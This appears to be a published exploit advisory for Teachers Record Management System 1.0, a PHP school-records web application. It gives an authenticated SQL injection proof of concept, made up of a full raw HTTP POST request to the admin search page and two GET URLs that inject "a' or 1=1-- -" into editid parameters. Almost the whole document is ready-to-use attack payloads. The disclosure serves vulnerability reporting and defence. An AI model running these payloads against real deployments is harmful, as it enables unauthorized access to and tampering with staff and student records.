Teachers Record Management System 1.0 SQL Injection

`# Exploit Title: Teachers Record Management System 1.0 – Multiple SQL Injection (Authenticated)  
# Date: 05-10-2021  
# Exploit Author: nhattruong or https://nhattruong.blog  
# Vendor Homepage: https://phpgurukul.com  
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/  
# Version: 1.0  
# Tested on: Windows 10 + XAMPP v3.2.4  
  
POC:  
1. Go to url http://localhost/admin/index.php  
2. Login with default creds  
3. Execute the payload  
  
Payload #1:  
  
POST /admin/search.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 32  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/trms/admin/search.php  
Cookie: PHPSESSID=4c4g8dedr7omt9kp1j7d6v6fg0  
Upgrade-Insecure-Requests: 1  
  
searchdata=a' or 1=1-- -&search=  
  
Payload #2:  
  
http://local/admin/edit-subjects-detail.php?editid=a' or 1=1-- -  
  
Payload #3:  
  
http://local/admin/edit-teacher-detail.php?editid=a' or 1=1-- -  
`